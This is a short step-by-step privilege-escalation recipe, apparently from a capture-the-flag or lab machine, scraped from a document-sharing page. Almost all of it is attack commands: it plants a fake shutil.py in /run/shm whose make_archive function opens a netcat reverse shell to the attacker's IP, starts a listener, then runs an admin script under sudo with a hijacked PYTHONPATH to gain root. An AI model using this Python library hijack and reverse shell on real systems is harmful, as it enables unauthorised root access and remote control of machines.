You are on page 1of 1

1) mkdir /run/shm/pwnd

2) create file -> /run/shm/pwnd/shutil.py

#!/usr/bin/python3
import os;

def make_archive(s,d,t):
os.system("/bin/nc -e /bin/bash <replace by your IP> 5555")

3) chmod +x /run/shm/pwnd/shutil.py
4) on your kali: nc -nlvp 5555
5) sudo PYTHONPATH=/run/shm/pwnd /opt/scripts/admin_tasks.sh

r00ted!!

You might also like